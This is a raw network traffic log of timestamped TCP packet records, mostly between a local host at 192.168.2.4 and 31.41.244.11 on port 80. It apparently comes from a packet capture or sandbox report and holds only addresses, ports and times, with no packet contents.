Dec 17, 2024 22:06:27.782485962 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.782691002 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.782737017 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.783328056 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.783376932 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.783504963 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.783546925 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.784123898 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.784167051 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.784241915 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.784311056 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.785013914 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.785062075 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.785121918 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.785167933 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.785801888 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.785845995 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.785959959 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.786004066 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.786664009 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.786708117 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.786715984 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.786757946 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.787492990 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.787547112 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.787617922 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.787661076 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.788464069 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.788506985 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.788562059 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.788605928 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.791625023 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.791660070 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.791670084 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.791695118 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.791711092 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.791731119 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.791734934 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.791771889 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.791780949 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.791815996 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.791836023 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.791850090 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.791870117 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.791899920 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.791917086 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.792016983 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.792710066 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.792743921 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.792752981 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.792793036 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.793384075 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.793431997 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.793509007 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.793556929 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.794276953 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.794322968 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.794405937 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.794449091 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.795109034 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.795195103 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.795244932 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.795289040 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.795919895 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.795964956 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.796026945 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.796068907 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.796787977 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.796834946 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.796838999 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.796880007 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.798665047 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.798719883 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.798738003 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.798782110 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.876156092 CET	49811	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:27.876199007 CET	443	49811	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:27.876277924 CET	49811	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:27.877321005 CET	49811	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:27.877335072 CET	443	49811	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:27.946716070 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.946783066 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.946805954 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.946854115 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.946877956 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.946927071 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.946995974 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.947037935 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.947719097 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.947756052 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.947776079 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.947803974 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.948477030 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.948529959 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.948796034 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.948843956 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.948879004 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.948925972 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.949579954 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.949631929 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.949744940 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.949790955 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.950579882 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.950613976 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.950653076 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.950717926 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.951348066 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.951400042 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.951400995 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.951443911 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.952311039 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.952343941 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.952364922 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.952390909 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.953130960 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.953185081 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.953293085 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.953365088 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.953953028 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.953986883 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.954008102 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.954035997 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.954698086 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.954747915 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.954854012 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.954900980 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.955503941 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.955549002 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.956171989 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.956217051 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.956336975 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.956388950 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.956549883 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.956595898 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.957243919 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.957289934 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.957333088 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.957376003 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.958281040 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.958313942 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.958331108 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.958353043 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.958971024 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.959005117 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.959016085 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.959041119 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.959836960 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.959887981 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.960016966 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.960067987 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.960563898 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.960609913 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.960781097 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.960833073 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.961632013 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.961668015 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.961703062 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.961723089 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.962361097 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.962393999 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.962416887 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.962430954 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.963078976 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.963133097 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.963372946 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.963423967 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.963989019 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.964035988 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.964129925 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.964170933 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.964821100 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.964867115 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.964890957 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.964931011 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.966089010 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.966123104 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.966139078 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.966173887 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.966881037 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.966929913 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.966964006 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.967014074 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.967667103 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.967715025 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.967765093 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.967813015 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.968713999 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.968750954 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.968771935 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.968796015 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.969369888 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.969419956 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.969474077 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.969516039 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.970215082 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.970266104 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.970350981 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.970396042 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.971096039 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.971142054 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.971229076 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.971273899 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.972106934 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.972140074 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.972157955 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.972178936 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.972764969 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.972829103 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.972866058 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.972903967 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.973531008 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.973586082 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.973647118 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.973692894 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.974405050 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.974438906 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.974457026 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.974484921 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.975101948 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.975155115 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.975229025 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.975275040 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.975869894 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.975922108 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.975924015 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.975977898 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.976612091 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.976659060 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.976731062 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.976778030 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.977511883 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.977560997 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.977607965 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.977655888 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.978571892 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.978606939 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.978624105 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.978650093 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.979157925 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.979249001 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.979310036 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.979372025 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.980266094 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.980298996 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.980319023 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.980331898 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.980784893 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.980829954 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.980942965 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.980988979 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.981688976 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.981734037 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.981811047 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.981856108 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.982584000 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.982595921 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.982641935 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.983355045 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.983421087 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.983422041 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.983453989 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.984373093 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.984385014 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.984411955 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.984436035 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.985055923 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.985101938 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.985212088 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.985251904 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.986073971 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.986084938 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.986118078 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.986741066 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.986780882 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.986785889 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.986818075 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.987524986 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.987564087 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.987627983 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.987664938 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.988399029 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.988444090 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.988506079 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.988545895 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.989290953 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.989301920 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.989330053 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.989341974 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.990099907 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.990148067 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.990381956 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.990426064 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.138782024 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.138839960 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.139260054 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.139272928 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.139311075 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.139324903 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.139373064 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.140324116 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.140336037 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.140369892 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.140384912 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.140974045 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.141019106 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.141369104 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.141418934 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.142433882 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.142446995 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.142458916 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.142482042 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.142497063 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.142555952 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.142601967 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.143356085 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.143403053 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.143405914 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.143443108 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.144066095 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.144108057 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.144552946 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.144598961 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.145241022 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.145284891 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.145350933 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.145395994 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.146181107 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.146193027 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.146229982 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.146683931 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.146729946 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.146795034 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.146845102 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.148310900 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.148324013 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.148355961 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.148356915 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.148370028 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.148401022 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.148458958 CET	80	49793	31.41.244.11	192.168.2.4
